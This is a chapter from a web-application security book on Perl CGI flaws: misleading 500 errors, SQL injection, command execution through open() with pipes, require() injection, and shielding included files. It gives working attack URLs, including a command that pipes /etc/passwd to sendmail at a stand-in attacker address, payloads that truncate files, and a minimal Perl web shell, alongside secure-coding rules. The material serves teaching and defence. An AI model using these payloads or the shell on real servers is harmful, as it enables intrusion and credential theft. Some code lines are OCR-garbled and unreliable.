Errors Specific to Perl Scripts

Another popular Web programming language is Perl. It was developed specifically for Web programming. However, many applications that start from the command line and aren't related to the Web are also written in Perl.

Because Web programming is one of Perl's features, it introduces certain nuances into errors that you can notice in the Web applications. The main peculiarity is that programs written in Perl rarely have drawbacks determined by Perl.

Perl has few built-in features that could bear potential dangers. Additional functionality and, therefore, additional danger are added by plug-ins. However, they are so numerous that it would be impossible to describe each in one book.

All possible mistakes and vulnerabilities fit into a few categories. Many mistakes are also typical of programs written in other languages, for example, PHP. Such mistakes typical of many programming languages are comprehensively described later in this chapter.

Web applications written in Perl can entail a few nonstandard situations.

An Internal Server Error

An HTTP error message, 500 - Internal Server Error , appears in scripts written in Perl more often than in PHP scripts. The most common cause of this error is that the Perl script didn't return some HTTP headers in the server response.

A Perl script should output to the stdout stream the portion of an HTTP header responsible for the type of the output data, that is, the Content-Type field. After the Content-Type header field is output, two linefeed characters are expected.

For example, any output in a Perl script can be preceded by a header with the following instructions:

 #!/usr/bin/perl    print "Content-Type: text/html\n\n"; 

Note that although the client receives the Internal Server Error message, the script is executed. What's more, log files on the HTTP server will contain the record about the error and not a record about normal execution of the script. There won't be indication that the script was executed. Nevertheless, it was.

To demonstrate this, consider a small example. You can find it on the CD-ROM accompanying this book, in the http://localhost/cgi-bin/l.cgi script.

Here is its code:

 #!/usr/bin/perl    use Time::Local;    ($year, $month, $day, $hours, $min, $sec)=                           (local-time)[5,4,3,2,1,0];    $year+=1900;    $month+=1;    $date="$year-$month-$day $hours:$min:$sec";    system("echo $date 111 >> ./result.tmp");    print "Content-tipe: text-html"; #This line contains mistakes.                                     #It will cause error 500.    print "This text will be never output to a browser";    ($year, $month, $day, $hours, $min, $sec)={localtime)[5,4,3,2,1,0];    $year+=1900;    $month+=1;    $date="$year-$month-$day $hours:$min:$sec";    system("echo $date 222 >> ./result.tmp"); 

Now send an HTTP GET request to the server script http://localhost/cgi-bin/l.cgi. Make sure that the 500 - Internal Server Error message is displayed:

 Internal Server Error    The server encountered an internal error or misconfiguration and was    unable to complete your request.    Please contact the server administrators and inform them of the time    the error occurred and anything you might have done that may have    caused the error.    More information about this error may be available in the server error    log. 

This text unambiguously indicates the error. Naturally, the user didn't receive the data that could be returned by the script. However, there are still a few questions. Was the script executed? Was its execution interrupted by the erroneous instruction, or it was executed to the end?

You can find answers in the RESULT.TMP file created in the same directory.

The image from book  1.CGI script is written so that a line with the current date, time, and three ones is output to this file before the erroneous instruction is encountered. The instruction with the incorrect HTTP header follows , which causes the error. Then the script should output some data to the browser, but this will never be done because of the internal server error. Then the script writes a line with the current date, time, and three twos .

Examine the RESULT.TMP file after the image from book  1.CGI script terminates. It contains two lines that look like the following:

 2004-9-14 19:4:20 111    2004-9-14 19:4:20 222 

In other words, two instructions that write data into the file were successfully executed. This means that the script was executed completely. Remember this!

Now, consider another Perl script. Here is its code:

 #!/usr/bin/perl    use DBI;    use CGI qw(:standard);    $id=param('id');    $id=1 if(!$id);    $dbh = DBI->connect("dbi:mysql:database=book1;host=localhost",                              "root", "")                               print "Error $DBI::errstr\n";    $sth=$dbh->prepare("select name from test1 where id=$id")                               print "Error $DBI::errstr\n";    $sth->execute  print "Error $DBI::errstr\n";    $ref=$sth->fetchrow_hashref  print "Error $DBI::errstr\n";    $sth->finish  print "Error $DBI::errstr\n";    print "Content-Type: text/html\n\n";    print $ref->{name}; 

The structure of this script is the following: First, it connects to a database, then it sends an SQL query to it. The SQL query contains a variable whose value was received from the user. If no value for the variable was received, it is set to a default value.

Because the variable value isn't filtered, the SQL source code injection vulnerability takes place. I'll comprehensively describe it in Chapter 3 . Nevertheless, I'll describe some of its features now.

What will happen if you send this script various values of the id GET parameter, both correct and incorrect? Here are a few examples:

  • http://localhost/cgi-bin/2.cgi

  • http://localhost/cgi-bin/2.cgi?id=1

  • http://localhost/cgi-bin/2.cgi?id=3

  • http://localhost/cgi-bin/2.cgi?id=99999

  • http://localhost/cgi-bin/2.cgi?id=abcd

  • http://localhost/cgi-bin/2.cgi?id=a'

You can make sure that parameters that aren't integers cause the 500 -Internal Server Error message.

Why does the interpreter display this error message rather than a message like the following?

 Error: You have an error in your SQL syntax near ''' at line 1    Error: fetch() without execute() 

You can find the answer if you start the script with these parameters in the command line:

 C:\> cd \usr\www\cgi-bin\    C:\usr\www\cgi-bin\> \usr\bin\perl 2.cgi id=2    Content-Type: text/html    <empty line>    John Smith    C:\usr\www\cgi-bin\> \usr\bin\perl 2.cgi id=999    Error    Content-Type: text/html    <empty line>    C:\usr\www\cgi-bin\> \usr\bin\perl 2.cgi id=abc    DBD::mysql::st execute failed: Unknown column 'abc' in 'where clause'    at 2.cgi line 14.    Error Unknown column 'abc' in 'where clause'    DBD::mysql::st fetchrow_hashref failed: fetch() without execute() at    2.cgi line 17.    Error fetch() without execute()    Content-Type: text/html    <empty line> 

The cause of the 500 - internal Server Error message is the same as in the previous example: The script doesn't output the value of the Content-Type header field.

In this example, the error message was sent to the browser before the header. So, when an attacker investigates a system for vulnerabilities, he or she can suppose that the internal server error emerging with certain values of HTTP parameters indicates an error in the script. The server's response code, 500, can be explained by sending the error message to the browser before sending the Content-Type header.

As for the programmer, he or she should be aware that, although the attacker doesn't see messages informing him or her about errors in the script and can only guess them, perseverance wins and the attacker can eventually find and exploit the vulnerability.

Creating a Process in the open () Function

The open() function is often used by programmers in Perl to open files and read their contents. By default, this function opens files for reading.

Consider the example in http://localhost/cgi-bin/3.cgi:

 #!/usr/bin/perl    use CGI qw(:standard);    print "Content-Type: text/html\n\n";    $page=param('page');    $page="./data/abc.txt" if(!$page);    open(F, "$page");    while(<F>)    {    print;    }    close(F); 

This script expects the value of the $page variable to be sent as an HTTP GET parameter. Then it opens a file whose name is contained in this variable. If no value is received, the variable gets a default value. Then the script outputs the contents of the file to the browser and closes the file.

Here are a few correct and incorrect requests to the script:

  • http://localhost/cgi-bin/3.cgi

  • http://localhost/cgi-bin/3.cgi?page=./data/1.txt

  • http://localhost/cgi-bin/3.cgi?page=./data/2.txt

  • http://localhost/cgi-bin/3.cgi?page=./data/3.txt

  • http://localhost/cgi-bin/3.cgi?page=not-exists

  • http://localhost/cgi-bin/3.cgi?page=../2/passwd.txt

  • http://localhost/cgi-bin/3.cgi?page=3.cgi

There is an obvious vulnerability here: Any files on the server can be accessed with the rights of the Web server. The second-to-last request returns the contents of a secret file, and the last request returns the source code of the script. In addition, if there is no file with the specified name, no error messages are displayed and the browser shows an empty page.

Now, consider one feature of the open() function in Perl: If the specified file name begins with the pipe character (I), the characters that follows it are interpreted as a command, and a stream opens. In other words, the specified command will be executed, and the data it outputs to the stdout stream will be displayed as if they were the contents of a file.

So, this vulnerability is more dangerous than obtaining the contents of any file, because it allows the attacker to execute any code on the server with the access rights of the user who started the HTTP server.

Consider a few examples.

The http://localhost/cgi-bin/3.cgi?page=echo+hello request will execute the echo hello command that outputs hello to the standard output stream. In this example, this stream is redirected to the browser, so the browser will display hello .

The http://localhost/cgi-bin/3.cgi?page=date+/T request executes the date /T command to output the current data.

The http://localhost/cgi-bin/3.cgi?page=ping+yandex.ru request will disclose information about the server's external channel. In Windows, it will return something similar to this:

 Exchanging packages with yandex.ru [213.180.216.200] 32 bytes:    Response from 213.180.216.200: bytes=32 time=70ms TTL=182    Response from 213.180.216.200: bytes=32 time=70ms TTL=182    Response from 213.180.216.200: bytes=32 time=60ms TTL=182    Response from 213.180.216.200: bytes=32 time=60ms TTL=182    Statistics Ping for 213.180.216.200:        Packages: sent  =  4, received  =  4, lost  =  0 (0% losses),    Approximate time of transmitting and receiving:        minimum = 60ms, maximum = 70ms, average = 65ms 

The http://localhost/cgi-bin/3.cgi?page=ipconfig and the http://localhost/cgi-bin/3.cgi?page=netstat+-an requests disclose information about network interfaces, running services, and established connections on the server.

In Unix-like operating systems, the attacker can execute Unix commands, including the following:

  • http://localhost/cgi-bm/3.cgi?page=ls+-la

  • http://localhost/cgi-bin/3.cgi?page=netstat+-an

Now, consider a case, in which the data aren't sent to the standard output stream or, therefore, to the browser. However, the vulnerability still takes place. Files can be read and commands can be executed, but the contents of the files and the results of the commands aren't displayed in the browser window.

In this case, the attacker can create a chain of commands to redirect the output to a desired stream. For example, in a Unix-like operating system, the result of a command can be sent to an e-mail address:

http://localhost/cgi-bin/3.cgi?page=ls+-lasendmail+hacker@atacker.ru

Note that this method doesn't allow the attacker to send the contents of a file. Instead of the http://localhost/cgi-bin/3.cgi?page=/et/passwdsendmail+hacker@atacker.ru request, he or she can use commands that output the file to the stdout stream. An appropriate request can be as follows:

http://localhost/cgi-bin/3.cgi?page=cat+/et/passwdsendmail+hacker@atacker.ru

In addition to reading the contents of any files available for reading to the user who started the HTTP server and executing any system commands with the rights of the HTTP server, the attacker can use this vulnerability to create empty files and to delete the contents of any files.

Remember that, like with the I character, the use of the > or >> characters before the file name opens the file for writing with cleaning or for writing with adding, respectively. Therefore, if you open a file like >./not-exists.txt and the ./NOT-EXISTS.TXT file doesn't exist in the system, the file will be created.

An HTTP request creating this file could look as follows:

http://localhost/cgi-bin/3.cgi?page=>./not-exists.txt

In a Unix-like operating system, the file will be created only if the directory is available for writing to the user who started the HTTP server.

Emptying a file is done in a similar manner. If you open a file like >./test1.txt and the ./TEST1.TXT file exists in the current directory, it will be opened for writing with cleaning of contents. In other words, the http://localhost/cgi-bin/3.cgi?page=>./test1.txt request will erase the contents of the file.

In a Unix-like operating system, you can change the contents of any files and add any contents to files available for writing to the user who started the HTTP server. To do this, two HTTP requests can be used. The first request changes the contents of the FILE1.TXT file to TEXT (if necessary, it creates the file). The second request adds data to the file, creating the file when necessary:

  • http://localhost/cgi-bin/3.cgi?page=echo+TEXT+>+file1.txt

  • http://localhost/cgi-bin/3.cgi?page=echo+TEXT+>>+file2.txt

To create secure programs that are free of this vulnerability, stick to the following rule.

Rule 

Never use the name of a variable inside a file-opening function if the name can be directly or indirectly changed by a remote user.

However, sometimes it is necessary to allow users to choose, which file to open. In such cases, don't allow users to add characters to the beginning of the file name, which will prevent them from executing any commands.

To do this, filter parameters received from a user or fix the path to the folder, for example, open (". /$file ");. In any case, stick to the following rule:

Rule 

When you open a file whose name can depend on parameters of an HTTP request received from a user, select the file name from a fixed set of valid names . The set should be thoroughly specified depending on the task.

Injecting Perl Source Code

The require() function includes and executes the specified file as a Perl script. The file should be a syntactically correct Perl script.

If the parameter passed to the require() function contains a variable that can be affected by a remote user changing the external conditions, this vulnerability takes place. In other words, if a user can change GET , POST , and COOKIE parameters and headers of an HTTP request to change the value of the variable used in the require() function, he or she theoretically can make the Perl interpreter include and execute any file.

As you should remember, a similar vulnerability is typical of PHP. In Perl, however, its implementation is different. Consider the following example from http://localhost/cgi-bin/4.cgi:

 #!/usr/bin/perl    use CGI qw(:standard);    print "Content-Type: text/html\n\n";    $name=param("name");    $name="./incl/ii.cgi" if(!$name);    require($name); 

This script expects the name parameter sent using the GET or POST method and assigns the value of the parameter to a variable. If no parameter is received, the variable is initialized to a default value.

Try to make the following requests to the script with different values of the name GET parameter:

  • http://localhost/cgi-bin/4.cgi?name=./incl/il.cgi

  • http://localhost/cgi-bin/4.cgi?name=./incl/i2.cgi

  • http://localhost/cgi-bin/4.cgi?name=./incl/i3.cgi

  • http://localhost/cgi-bin/4.cgi?name=./data/../incl/i2.cgi

When the included file is a syntactically correct Perl script, it is executed normally. The last request demonstrates that the directory bypassing characters can be contained in the file name.

Check whether the null character indicates the end of the file name:

http://localhost/cgi-bin/4.cgi?name=./incl/i2.cgi%00anystring.txt

As you can see, the null character normally acts in the require() function.

Now check two other points. Is the extension of the included file important to the Perl interpreter? And is the #! /usr/bin/perl line necessary at the beginning of the script (is it the path to the interpreter)?

Make the following HTTP requests:

  • http://localhost/cgi-bin/4.cgi?name=./incl/i5.txt

  • http://localhost/cgi-bin/4.cgi?name=./incl/i6.cgi

  • http://localhost/cgi-bin/4.cgi?name=./incl/i7

  • http://localhost/cgi-bin/4.cgi?name=./incl/i8.dat

As you can see, all the requests are correct and work properly. You can make the following conclusions: The extension of the included file doesn't matter, and the file included with the require() function will be executed as a Perl script. The included file doesn't need to begin with a line containing the path to the Perl interpreter. Nevertheless, the included file should be a syntactically correct Perl script.

In PHP, you could include remote files available using HTTP.

The http://localhost/cgi-bin/4.cgi?name=http://localhost/2/13.php script proves that Perl doesn't include and execute remote files.

In Unix-like operating systems, the attacker needs the rights of the current user to execute a Perl script. A simple experiment shows that a Perl script included with the require() function doesn't require execution rights from the attacker. He or she needs only the rights for reading.

To summarize, when there is the Perl source code injection vulnerability in the require() function, the attacker who wants to execute any commands on the server needs to create or change any file on the server available for reading to the user who started the HTTP server.

Earlier in this chapter, I described a few methods for exploiting the local PHP source code injection vulnerability to embed PHP code on the server to include and execute the code. Some of these methods will work with the similar vulnerability in Perl scripts. For example, any method for creating or editing a file will do.

Methods that change only a part of the file contents are unsuitable. For example, the attacker cannot use the method of embedding code into log files or pictures, which is suitable for the local PHP source code injection vulnerability.

To embed Perl code, the attacker can use other methods, such as uploading the code instead of a picture (not embedding the code into the picture), writing it into a public directory through FTP, or using other methods that allow him or her to create a file.

As you should remember, with the PHP source code injection vulnerability, the method of embedding PHP shell code was the most convenient for an attacker. Similar code could be written in Perl. This code would take the GET or POST parameter and execute its value as a system command. Then it would redirect the command's output to the browser.

This code could be as follows:

 #!/usr/bin/perl    use CGI qw(:standard);    print "Content-Type: text/html\n\n";    $cmd=param("cmd");    system($cmd); 

Note that in Unix-like operating systems, the path to the interpreter in the first line of the script should terminate with a character coded as 0A . In Windows, the end of a line is denoted by two characters with the codes 0D and 0A . Therefore, the character with the 0D code is added to the name of the interpreter. Any operating system will fail to find an interpreter with such a name.

What linefeed characters should be used in a script? This depends on the interpreter. For example, Perl doesn't care whether 0A or 0D0A is used. So, when you upload files with Perl code onto a server controlled by a Unix-like operating system, make sure that the first line ends with 0A .

Be aware that if you want to start a Perl file from the command line, or make the HTTP server execute the file by requesting this file using HTTP, the file should have access rights for the user who started the HTTP server.

As a rule, this user has the name www , apache , or nobody . This user has minimal rights on the server.

To give all the users the rights for execution of a particular file, execute the chmod a+x filename command in a Unix-like operating system.

Remember the vulnerability allowing the attacker to execute any code using the open() function? Check whether the require() function allows the attacker to execute any code in a similar manner.

A simple example demonstrates that the argument taken by the require() function is interpreted as a file name rather than a system command. Send the following request:

http://localhost/cgi-bin/4.cgi?name=ls+-lasendmail+hacker@atacker.ru

To write scripts free of such a vulnerability, stick to the following rule:

Rule 

Don't trust data received from a user.

In addition, you should be aware that the attacker can upload a malicious file by exploiting another vulnerability. In any case, stick to the following rule:

Rule 

In Perl scripts, don't pass the require() function variables that can be affected by a remote user. If you have to use such variables , their values should belong to a fixed, predefined set. The set should be thoroughly specified depending on the task.

In other words, the user should be able to include and execute only the scripts allowed by the programmer. A list of these scripts should be thoroughly specified depending on the task.

Executing and Viewing Included Files

In PHP scripts, the vulnerability allowing the attacker to execute and view included files is based on a theoretical possibility that a user can request an included file using HTTP if the file is located in a directory accessible using this protocol. Depending on the extension, the file is either executed or sent to the browser.

In Perl, the vulnerability related to executing included files has a peculiar feature. Remember that a Perl script should return the Content-Type HTTP header field, so that the result of its execution is displayed in the browser window. You might expect that included scripts don't output this header because the programmer didn't intend to make them accessible using HTTP. As I told you earlier, in such a case the server will return to the browser the 500 - internal Server Error message rather than the output of the script.

However, remember that the script will nevertheless execute. It won't interrupt when the error emerges. Therefore, although the attacker cannot receive responses to requests, he or she can obtain higher privileges in the system and collect additional information if the internals of the system are known. The attacker can exploit vulnerabilities in included files blindly, by guessing the contents of the script under investigation. This would be a tedious task, but this doesn't mean you can forget about the danger.

When an inexperienced programmer sees that a request to an included file causes the 500 - internal Server Error message, he or she might conclude that this script isn't executed completely. However, this isn't the case. For secure programming and to avoid this error message, you should stick to the following rule:

Rule 

Included files not intended to be accessible using HTTP should be shielded from such access. In addition, access to the contents of these files should be barred.

In other words, these files shouldn't be available using HTTP. To do this, you can use any of the following methods: You can create variables with certain names and values in the main script, you can compare them with the included file, and you can interrupt execution if something is wrong.

index.cgi

 #!/usr/bin/perl use CGI qw(:standard); print "Content-Type: text/html\n\n"; $included='ok'; require("func.cgi"); # some code 

func.cgi

 exit if($included ne 'ok'); # declarations and other code 

In PHP, a similar script would be contain a vulnerability if the PHP interpreter was configured to register GET , POST , and COOKIE parameters as global variables. In Perl, global variables aren't registered automatically. Therefore, this system is safe enough.

Another solution specific to Perl involves resetting the execution flag for included files in Unix-like operating systems. However, this method is the least reliable. First, it is system-specific and cannot be used in Windows. Second, when moving files from one server to another, you can lose execution flags.

You can also use the methods of restricting access to included files suitable in PHP, such as placing the files into a directory protected with server settings or a directory outside the server root. In addition, you can name included files in a special manner (e.g., by giving them the same extension) and bar the HTTP access to them with the server tools. However, the last method strongly depends on the server type and will work only until the server configuration changes.



Hacker Web Exploition Uncovered
Hacker Web Exploition Uncovered
ISBN: 1931769494
EAN: N/A
Year: 2005
Pages: 77

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net